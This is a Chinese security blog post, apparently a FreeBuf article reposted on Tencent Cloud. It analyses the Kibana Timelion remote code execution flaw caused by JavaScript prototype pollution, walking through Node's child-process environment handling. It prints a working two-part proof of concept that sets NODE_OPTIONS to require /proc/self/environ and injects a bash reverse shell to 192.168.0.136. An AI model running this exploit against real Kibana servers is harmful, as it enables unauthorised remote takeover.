专栏首页FreeBufKibana RCE漏洞详细分析

Kibana RCE漏洞详细分析

背景介绍:

Elasticsearch Kibana是荷兰Elasticsearch公司的一套开源的、基于浏览器的分析和搜索Elasticsearch仪表板工具,作为Elasticsearch的核心组件,Kibana可作为产品或服务提供,并与各种系统,产品,网站和企业中的其他Elastic Stack产品配合使用。由于Kibana在大数据领域用途较为广泛,此次漏洞影响范围较大。

Nodejs的子进程创建

如何获取客户端参数的代码写在了proccess.js中,我们关注下客户端参数解析

以上代码是nodejs的exec方法的核心代码(卧槽,node自举了)。可以看到代码调用了

normalizeExecArgs(command,options, callback);

而其中的options,是我们传入的命令行的参数,这个函数又调用了

function normalizeSpawnArguments,而这个函数又调用了execFile,而execFile调用了spawn,而在spawn 里定义了这样的代码

const env =options.env || process.env;  获取客户端的options
  const envPairs = [];
  // process.env.NODE_V8_COVERAGE alwayspropagates, making it possible to
  // collect coverage for programs that spawnwith white-listed environment.
  if (process.env.NODE_V8_COVERAGE &&
     !ObjectPrototype.hasOwnProperty(options.env || {}, 'NODE_V8_COVERAGE')){
    env.NODE_V8_COVERAGE =process.env.NODE_V8_COVERAGE;
  }
  // Prototype values are intentionallyincluded
  for (const key in env) {
    const value = env[key];
    if (value !== undefined) {
      envPairs.push(`${key}=${value}`);
    }
  }

简单来说,客户端传入了options选项,那么就根据客户端的来处理,否则就去获取系统环境变量。

作者核心点

在这里我得提一下作者的思路

作者在命令行下尝试了

NODE_OPTIONS=’--require/proc/self/environ’ AAA=’cosole.log(123)//’ node

这是在shell里设置了一个NODE_OPTIONS的值和AAA环境变量,其中NODE_OPTIONS是可以这么写的,官方允许传递这样的参数,具体的文档在http://nodejs.cn/api/cli/node_options_options.html

内容是

作者做这个实验的核心目的就是表达,我在shell下传递options可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量,console.log这个地方就是任意的nodejs表达式,包括执行命令的,这个是为了实验。

关于.env和process.env和/proc/self/environ

官方解释:process 对象是一个 global (全局变量),提供有关信息,控制当前 Node.js 进程。该对象表示Node所处的当前进程,允许开发者与该进程互动。打开命令行,输入node,再输入process.env,可以看见process.env是一个对象。这个对象在kibana这里就是有很多属性,我们污染的这个NODE_OPTIONS就是这个env的属性之一,其实还有NODE_ENV之类的属性。还有版本之类的。

根据子进程创建的逻辑,我们是否可以构造一个恶意的代码来污染原型链,因为代码里写了如果没定义process.env就去调用系统的环境变量,而根据javascript规则,我们随意设置一个对象的proto的env就可以覆盖掉process的env属性了,这样的话我们可以就定义好了,定义并且赋值就不会undefined了。

简单的说就是object.env下的属性就会被写入到/proc/self/environ里。

所以poc的下半句是

.props(label.__proto__.env.NODE_OPTIONS='--require/proc/self/environ')

根据作者核心思路“在shell下传递options可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量”,我们开始尝试使用代码来设置环境变量而不是shell。

而/proc/self/environ就和php一样的,如果你设置了进程的环境变量,那么在运行的时候通过linux下/proc/self/environ可以读取进程的环境变量

如何在代码里设置环境变量?

答案是通过原型链污染,我们先污染object.env,也就是设置label.proto.env.NODE_OPTIONS,这样的话我们去访问process.env.NODE_OPTIONS就是我们设置的值,根据上面nodejs核心代码child_process.js的逻辑,我们传递的options最终会变成spawn的一个参数 ,作为环境变量执行。

文件包含获得shell

最后我们通过label.proto.env.NODE_OPTIONS=’—require/proc/self/environ’ 的设置了process.env.NODE_OPTIONS的值,被node读取到了,然后根据官方手册里写的,相当于运行了node —require “xxx.xxx” (就和php里的include 一样,node require的不一定非要是js文件,就和php不一定要是php文件一样)

Poc的另外一句话是:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash-i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')

这里的AAA也是会被写入到/proc/self/environ,最后的环境变量应该是

AAA= require("child_process").exec("bash-i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//NODE_OPTIONS=--require/proc/self/environYarn_VERSION=1.17.3HOSTNAME=7da7727ddePWD=balabalabalabala#^&*(*&^%$

因为//是注释,所以后面忽略,然后这个文件被当作require的参数包含起来了,里面的代码自然就执行了。

几个重要的知识:

1、设置了xx.env.aaa的内容会被写入/proc/self/environ里,怎么设置?通过原型链 2、Poc设置了2个环境变量,一个被注释了 3、NODE_OPTIONS自nodeV8.0.0后才开始(如果你没成功,那么可以排查下nodejs的版本

总结

聪明的你肯定知道 还有其他的办法可以RCE!可以利用的地方很多,原型链撕开了一个攻击面,而NODE_OPTIONS只是一个点。 根据对抗原型链攻击的办法可以使用Object.freeze来冻结原型链操作,但是这样会导致一些隐性的bug,如果你不熟悉javascript的话。 最佳的修复还是升级版本吧

*本文原创作者:NotFound,本文属于FreeBuf原创奖励计划,未经许可禁止转载

本文分享自微信公众号 - FreeBuf(freebuf),作者:NotFound

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 太空基础设施安全:网络安全最前沿

    科幻剧《星际迷航》有一集名为“最后前沿(The Final Frontier)”,意指探索浩瀚宇宙为人类科学最后的前沿。 1 概要 通常,人们在讨论国家...

    FB客服
  • GandCrab V5.2勒索病毒针对我国有关部门,要求通过Tor浏览器支付赎金

    2019年3月13日,宜昌市夷陵区人民政府官网发布公告《关于防范勒索病毒 GANDCRAB 攻击 的预警通报》称,近期有境外黑客组织对我国有关部门发起了勒索病毒...

    FB客服
  • BASH漏洞初挖掘

    最近,BASH爆出来一个远程代码执行的漏洞CVE-2014-6271。 BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当...

    FB客服
  • [PHP] 框架中.env文件的加载过程

    现在很多框架使用根目录的.env文件来配置环境变量,php本身是不会去解析这个文件的,需要使用php代码读取和解析这个文件放入环境变量中

    陶士涵
  • R包edgeR作差异基因分析

    本篇简介R语言edgeR包的差异基因分析流程。edgeR使用经验贝叶斯估计和基于负二项模型的精确检验来确定差异基因,通过在基因之间来调节跨基因的过度离散程度,使...

    用户7585161
  • 数据库连接池

    数据库连接对象是有限资源,所以数据库连接池是用于负责分配、管理和释放数据库连接对象,它允许应用程序重复使用一个现有的数据库连接对象,而不是再重新建立一个;这一点...

    端碗吹水
  • nodejs源码—初始化

    相信很多的人,每天在终端不止一遍的执行着node这条命令,对于很多人来说,它就像一个黑盒,并不知道背后到底发生了什么,本文将会为大家揭开这个神秘的面纱,由于本人...

    前端博客 : alili.tech
  • 【专业技术】XLS文件格式研究

    摘要:由于XLS的文件格式内容过于庞大,本文只对BIFF8和BIFF8x版本的XLS文件的基本框架和重要结构进行介绍,XLS文件属于二进制文件,在本文中统一采用...

    程序员互动联盟
  • SpringBoot非官方教程 | 第十二篇:springboot集成apidoc

    首先声明下,apidoc是基于注释来生成文档的,它不基于任何框架,而且支持大多数编程语言,为了springboot系列的完整性,所以标了个题。 一、apidoc...

    方志朋
  • 数据库连接池

    数据库连接池相关资料: 关于数据库连接池的使用,首先我们要明白我们为什么要用它,对应普通的数据库连接操作,通常会涉及到以下一些操作是比较耗时的: 网络通讯...

    Steve Wang

扫码关注云+社区

领取腾讯云代金券